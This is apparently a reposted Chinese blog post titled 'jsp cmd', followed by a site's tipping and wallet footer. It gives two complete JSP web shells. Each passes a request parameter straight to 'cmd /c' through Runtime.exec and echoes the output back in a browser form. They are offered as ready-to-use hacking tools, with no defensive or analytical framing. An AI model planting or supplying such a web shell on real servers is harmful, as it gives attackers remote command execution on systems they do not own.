jsp cmd

http://hi.baidu.com/forhack/blog/item/9ebaf70673b95b7e02088181.html

 

<%@ page contentType="text/html; charset=gb2312"%>
<%@ page import="java.io.*"%>
<html>
<head><title>jsp之cmd功能</title>
</head>
<body bgcolor=#000000>
<%
String strcmd="";
String strline="";
StringBuffer result=new StringBuffer("");
strcmd = request.getParameter("cmd");
   if(strcmd!=null)
try{
Process p=Runtime.getRuntime().exec("cmd /c "+strcmd);
   BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));
   while((strline=br.readLine())!=null)
   {
   result.append(strline+"/r/n");  
   }    
}catch(Exception ex)
   {
   ex.printStackTrace();
   }
%>
<form name="cmd" action="" method="post">
<input type="text" name="cmd" value="<%=strcmd%>" size=50>
<input type=submit name=submit value="执行命令">
</form>
<%
if(result!=null && result.toString().trim().equals("")==false)
{
%>
<textarea name="hack" rows="20" cols="70"><%=result.toString()%></textarea>
<%
}
%>
</body>
</html>

 

(2)

 

<%@ page contentType="text/html; charset=gb2312"%>
<%@ page import="java.io.*"%>
<%
String cmd = request.getParameter("cmd");
String output = "";

if(cmd != null) {
String s = null;
try {
Process p = Runtime.getRuntime().exec("cmd.exe /C " + cmd);
BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) {
output += s;
}
}
catch(IOException e) {
e.printStackTrace();
}
}
%>
<form method="post" action'cmdjsp.jsp'>
<input name='cmd' type=text>
<input type=submit value='Run'>
</form>
<textarea name="hack" rows="20" cols="70">
<%=output%>
</textarea>

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值